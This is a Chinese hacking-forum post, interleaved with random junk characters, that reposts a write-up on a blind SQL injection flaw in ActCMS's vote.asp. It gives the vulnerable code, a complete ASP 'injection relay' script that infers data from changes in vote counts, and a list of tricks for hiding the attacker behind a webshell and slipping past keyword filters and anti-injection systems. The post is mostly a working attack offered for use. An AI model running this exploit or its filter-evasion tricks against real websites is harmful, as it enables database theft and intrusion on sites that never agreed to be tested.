找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2179|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
; }  S7 V5 v- L5 A
看到ninty大牛的blog的一篇文章/ U6 Z3 Q4 a* \3 s/ H( X6 {
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
! a/ U# I7 F! ^( ?/ d3 J" X$ }关于actcms漏洞的利用  by 3x qq:381862589
7 `6 \1 |8 {3 v1 J  x转载请注明以上# C4 a  |7 W4 |" S) H# J
漏洞文件:( h$ N& c5 f! T0 |
/plus/vote/vote.asp9 q0 Z; b0 X$ V( j& b
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    ' C- O3 m8 T6 W) Y% z, i+ f

( v- k+ \1 i( F( X2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ) C7 K) L! M% O" w( b

4 Q/ Y$ t0 S6 G( Y8 N/ X: U3    response.end    / X5 s$ W  R5 S4 M$ K9 ?

: C& e6 ^7 C" J; s1 m# L& P. l8 V+ Y4    end if    4 r) d4 p: H8 L- Q% c
3 y3 _- l) B# p1 Y; |2 c/ S& E
5    for i=1 to request("voted").count    1 q2 z& M: t+ F* }- ?# F  C1 B) J
" {7 }$ Q9 W& i% L+ N2 f. ]
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    1 F  j! E# \5 p9 E4 c4 ^4 k7 F/ R
! a9 ~7 \$ g0 X# f3 U& S1 K
7    next    # r4 p! k! _  t# f
  d) K0 L* M6 A0 r& s
8....    2 O! J0 n$ }; d3 r  R* y0 I

+ s* I' S0 M* ~1 o' ^9response.Redirect "index.asp?id="&id&""   9 D  e0 `, C) ~' S: n$ u; G& ]  \* U
投票结束回跳转回index.asp这个投票结果页面
, h4 k% k/ K5 X3 ~! P5 @如果投票成功票数加15 u( g3 F" l0 X. B. j
            失败票数不变9 z  U3 S- U4 E, I
如图:
& F0 P# g# T8 Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
* L+ B7 [) j/ m0 {: j6 z1 T5 m3 G& |8 h6 E3 K' Z. ~
2009-12-27 13:20
# C% R6 k! }5 A7 j8 k4 @2 S: Q- q8 a' _5 k. W
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了$ N2 c  Q  F  [% X- d5 f" H2 j; S
/ w! U$ v# |: j/ Z0 P% n1 P( A
本帖隐藏的内容需要回复才可以浏览
3 }/ L" {! j8 k# L5 e我们用注入中转来实现这个注入具体代码如下:/ Q, z, Y- o% F! _7 }9 F* O0 Q; q
先用寂寞的刺猬大牛的注入中转生成jmget.asp
9 z+ N+ U+ h+ h& C! y0 H- r注入地址:http://localhost/actcms/plus/vote/vote.asp: z9 y3 O7 H- k' D5 X
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项/ y& H5 r2 A& v, |* C

! m; \7 ^& M, L! S* L然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
. C* Z- i9 ]( @5 U$ q3 x; R8 P6 a% i/ T- ^  i2 d2 t) q
02JmdcwName=request("jmdcw") ) [" @6 E/ X0 b& b* G7 T* x# |
& H8 y5 t3 U: r. ^5 D
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
  S' F0 o+ o5 k! e6 W/ Y# j/ n7 Y3 H( H
6 S3 [: `) C. V7 D* x1 h04JmStr="id=1&voted=-1 or 1="&JmdcwName 5 ~; q6 E2 D$ `2 D

; w1 U2 W* e& J+ d0 u+ V05JmStr=URLEncoding(JmStr) 2 K5 p) W6 r0 D% B, T8 @0 p
8 e) b& [% o* H& q9 A. R  q) _
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"( M2 r# @! v+ Y  D) O# U

& b" O3 J5 H6 P! ~7 [/ k7 j07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"1 R+ J* O! J0 N3 J7 h. \6 U7 a
' ^; t# t, g2 y4 c3 H; u$ ?4 [
08testurl=testurl & "?" & JmStr * ?( K3 Q0 Y, ?- h2 g0 w
3 d8 ~5 h+ F, v! W& ]' v6 T; j, g4 M
09JMUrl=JMUrl & "?" & JmStr * G, }6 |! }) O7 l
4 j) h& k' R# v1 C' N% [  Q2 C% _
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"* \$ `5 _& M5 z% u  O
  b8 s# Q* G" m2 o' K& t& Y0 `4 n
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
# @# Z! c$ b2 g5 q) V
' p0 q  P9 m+ e8 N; x. z12JmCok=replace(JmCok,chr(32),"%20")  + @9 a; v! ~3 K7 [
3 {# q7 a4 S; V0 X5 y& d2 Q
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 3 i9 ^. }: Q) I+ `
# t: a  R) W! Q/ F" q9 c9 R
14  + v/ |! O, K7 ~) u

# P: Y: w: V! p15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
4 F+ g1 y0 q7 M, u% ?1 Q
8 p) h8 d* b5 [16  3 S9 n1 E  V; }
8 }+ f% S+ O# B
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ( o5 x, B) j9 Y4 ^* j' Y* p

: B  L% I: y" G18response.write test1&""&test2&""" C( U; f0 C% E' B3 f; s! f% H/ [

; `$ p' @' \  l$ X; D. u) B. G" R19  
. Y* e: q4 o. u& u- B* ]; }  ?# y4 {4 V1 ~6 ?
20if test1=test2 then '如前后记录相等,表示失败
, s8 W. d4 E! ?$ m+ n; ~' o' B: R7 y; E
21  response.write "failed"
5 D; s" R4 C$ B* y7 O0 @
9 i+ z( j) g3 b( l/ G% m$ O22else ) L; R8 z- T7 F5 N
% q0 J  i7 z/ B' [4 u
23  response.write "succeed"
. m1 T. y# s- ]/ E5 W  x! x, ^; s/ u/ _' M
24end if  4 w7 F" m. p% c

( _. h; F0 H6 |25  5 X5 w0 S4 K8 J* W& A" ~* m

9 l3 h" g0 Z; }6 H3 u; U26response.write "by 3x": b1 g/ j, I4 m7 i

! i: L" v0 x) s% Z$ d27  
2 @, J* D; w) q! ^
! H  o4 M2 i8 S  b( c28  1 v9 @  @& c3 H1 `6 i( Z
' c0 Z* B$ Q+ ^; k9 \" s
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
  x' l$ [# K* Z1 N& R9 q# q% @4 ]3 I: n# v8 R
30Dim Http - ~- `, x6 V- a  C, M% z1 U

) j2 E% X* r) O6 x9 `, n5 E31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
1 e  L: _1 t! _0 n& n: x6 t* r; R& |# F" C5 f" f
32With Http
: O8 E- k4 o$ z/ q  i
: {( N& R; a, g8 [. N33  ) i' n* f( S5 Z& m

' o3 m8 k' M6 G+ C34.Open "GET",PostUrl,False
. N  K* ]/ k) z( K! v* P0 T
* `$ x/ ~! I  e6 |2 [, j/ T4 n35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
5 ~# a* j& i0 U8 h. @) F% Z
' U! q& k  k& a+ U0 l1 A& |; V36.SetRequestHeader "Referer",PostRef 3 K- ^0 p% I, N6 n6 K" U) p/ f
: g8 C: e8 N! Y1 f
37.SetRequestHeader "Cookie",PostCok ( p- ]2 s1 O- D

( b) E+ s. w7 a7 b: a38.Send () 5 X1 ]% i% m& W! p: b
7 y+ S/ T+ e$ z5 \) g, f4 [) c
39PostData = .ResponseBody + A% _- E/ V/ c: p, n5 L

, F5 C4 m3 q& ]/ t& I+ ?( f, f40End With9 X- y4 l* @0 s9 s( \
( C4 H. L; p9 s6 V( }+ H, G4 Z
41Set Http = Nothing. x! X/ ]% f& g( R" n
# ^' u* j9 V; ?9 u5 L# A& F- t
42PostData =bytes2BSTR(PostData) 1 n# R4 s' ?; e9 q

; v; `, \2 u9 z. p: I4 @43End Function0 X+ X' w. i% L% h# x$ |  R

8 D' R# a+ U1 k5 [$ [44  
8 }4 x' e! o) A9 a( T4 y
. J# P, p6 _+ m! G; F' x45  9 A3 ~6 A0 @' A/ I; d; E7 |; a

; K+ [2 A) ^! B. }6 M46Function bytes2BSTR(vIn)
6 d; }8 d8 N& T4 l/ S  _( }
& n; o: {$ X/ d( Z  m2 |47Dim strReturn   s, I8 M" z. I0 [/ L
  F7 E) g" z; }0 W
48Dim I, ThisCharCode, NextCharCode
$ l1 _: {* R$ L( Y0 x1 c& c3 f! d$ o  z
49strReturn = ""
3 v7 r, f5 w9 G$ l1 q& {  [0 }; ~7 I9 W* h
50For I = 1 To LenB(vIn) 3 B* z5 C  u9 s6 N

; x( I! q" v* Q51ThisCharCode = AscB(MidB(vIn, I, 1))
$ `1 a" i/ d. B7 [
* Y5 b$ G$ W% L+ ^9 ?, ~52If ThisCharCode < &H80 Then$ S3 t! H, G' j; M8 L0 @7 v: ^

3 j3 ]6 m* R) j4 Z' o* Y53strReturn = strReturn & Chr(ThisCharCode)   F. t2 ~. O9 a: f6 O

! d* v: _- O9 g/ H) b54Else
  J$ [7 x  x1 A  g0 `2 i/ H
: x  p9 w# d* i4 `. X9 I55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. q! }& x1 S7 Z8 w) K! u! g: h* k- i% d" W
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) , Y0 [9 i) @  R6 r5 ]8 M
" a, y8 J. t. z" t; @% O
57I = I + 1 7 ^, T6 v% w' g" g& }# X3 p
* z" |; h! j9 `4 I* K( L
58End If# [( s, |7 k" X/ v6 E
1 @1 l2 a& G5 [. W: X
59Next
! X+ r, F) C: ~5 \7 _4 J. G! W0 j8 F  w3 O# y3 F/ Y* w
60bytes2BSTR = strReturn & [5 ?8 d8 P8 W: T! _# p0 F: i
! R7 w3 K; C* c
61End Function
2 ]5 u% x5 S: a9 E6 g( f. H& h1 h# B
62  
; x7 V- a+ z& o1 e) E' B: X# s' p2 r4 V2 x0 z
63Function URLEncoding(vstrin)  5 _1 z- @4 K6 j: m/ l
# H5 f# u9 O* I0 i0 _, Z1 b
64strReturn=""
. j7 T" ]2 a/ {+ q. ~  n8 U1 I" p" c9 y9 ~" b
65Dim i
( V  b. d. r  u5 A
% V& [; u  x  b66For i=1 To Len(vstrin) 4 Y# J1 X4 E3 t1 {- R# d% {
; s" Z6 }$ B0 C" Y
67ThisChr=Mid(vstrin,i,1)
' L! a0 W# U: G# E2 k- a
+ v% c$ O9 N* O8 W) j68if Abs(Asc(ThisChr))< &HFF Then8 Y9 g( u! I) v. Q9 p. x4 a5 c
2 D6 o. _4 Q- w5 Z3 ^
69strReturn=strReturn & ThisChr * ~- Q+ q- S& S( u6 j8 i' r

# A1 u' c2 [" U' H70Else# ?. J* K$ r$ @5 l0 d( @8 C8 m3 j2 u

, h1 Q8 S% @" S" t71InnerCode=Asc(ThisChr) 5 n, C7 t9 W; R! k' K; W' x2 Y
7 Y/ m0 `7 N! J4 Z( g3 H
72If InnerCode<0 Then
4 ]) S$ l3 t- N$ J- B
. ~1 l2 a. R! D73InnerCode=InnerCode + &H10000
( p5 _0 k: @% j0 U1 U) `# C5 a$ U9 x% @' v3 s
74End If
0 ?( S/ T$ t  p$ z" L+ s2 E- i
- r3 ]# j, F6 n1 }! y: d# @" G3 E75Hight1=(InnerCode And &HFF00) \&HFF
7 k8 b9 v+ R' {- p
$ T( M) S2 K7 b% ~6 u: G# K7 v76Low1=InnerCode And &HFF 9 u4 P% k: |8 J% _/ Q6 [7 X

& j5 s4 \9 k& _* [77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) $ L( X- I% d" \, r& ^6 {: o

. q! x% ^1 ^* g78End if , R0 `  I8 p( B$ l5 v* E, y

: y4 J: f& i4 ~1 C! j3 {8 S) Y% P79Next
" }  g; Z7 L$ `/ u! v
1 n1 q% F, S: \  A  {  O- t80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 0 H, A9 M$ C: I- M  ]1 i' ~
; t, u- w; q/ M1 k, ~  N& Z( _
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
- h# k! y( Z+ |# u2 s3 b5 u% g2 R$ H4 |) d# ?2 [9 C. l
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
' l, f  {* s7 G) x. g
9 \2 ^9 s8 p$ l+ [+ V4 Y+ d83URLEncoding=strReturn - W1 s( T+ T$ m- g! e! f

) o( l- t4 [0 }' d5 y. v/ c84End Function
/ u# j* u1 O" ^; z: `6 ]! o: P- r) M: z# j* L, \% {: C" O
85  5 Y7 ?" X: P9 q3 F0 M/ D
5 Q. S* C, K% K9 a$ j6 y: s* Y0 c
86function getSt(body)
, b4 ]# d1 U) Y  @- C, U* s, a
6 ^  j$ u2 ]% q" x87  startpot=instr(body,"投票人数:")+len("投票人数:") 7 }" S# ~* ?: S* S) A5 \$ _$ E

" T6 m( w; r& W* F0 K* K- j88  endpot=instr(startpot,body," ")
' B0 ?7 c# B% t- s: ^; K9 C: j. S" `1 h% Y! F( \& w" Z0 J& G
89  getSt=mid(body,startpot,endpot-startpot)
& Y; f8 t+ d2 i0 H+ U# K, K3 I! P  x# O5 K& G1 J. b
90end function , P" J; H& G) ]
$ }6 N. o- H% b$ O9 L
91%>' }- a& O% ], l* J7 h8 J: i
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
( ^. H5 ^; `+ Z2 Y测试下效果:) P7 m8 _8 v$ I2 X+ p, F* U( a& `$ R
投票成功:/ F9 p) m" x/ N9 u) `! y; p
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ A4 B% C' O# i# n0 v
! j1 ?/ v* e: W/ \+ k5 |/ c2009-12-27 13:29/ W, b) l0 ^! I3 {3 N9 W
投票失败$ o; n; \$ C6 f/ Q: {4 A7 I
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB). n& j! w. f" X$ l; p6 M: z
7 \% f  G- A" w) H2 r) b5 k) n2 r
2009-12-27 13:29
  V6 t# J; A3 k9 n! ^-------------------------------------------------------------------------------7 M; W7 D( `( K6 Z+ G
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以0 X* D# e/ r" w$ U& J
很抱歉。。。只能用单线程工具去注入。。。。。  c, Z, p: s3 Q6 p1 g: @
所以失败。。。不好意思。。。  t. j+ i7 g" ?5 p* g# b
-------------------------------------------------------------------------------  J$ l# a5 h) B2 L; T% t# J) |

6 J9 c0 R4 \3 B  ?5 M  U0 N" h注入中转的一些其他应用
5 A. x$ S. Z7 w  R9 ~( h" O7 j其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1 V2 U1 \! \  R1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id* \; E1 C/ h2 @# U, Y9 \6 y7 M
2.post注入转成get型的注入,方便我们使用工具来跑
( k8 p5 c: o" A4 @" D) B7 L3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
5 k8 L' u& r/ t6 @9 P" M4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
) J4 n  T& }* T+ E
8 n) [' H" O( C/ h/ u# Q" d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表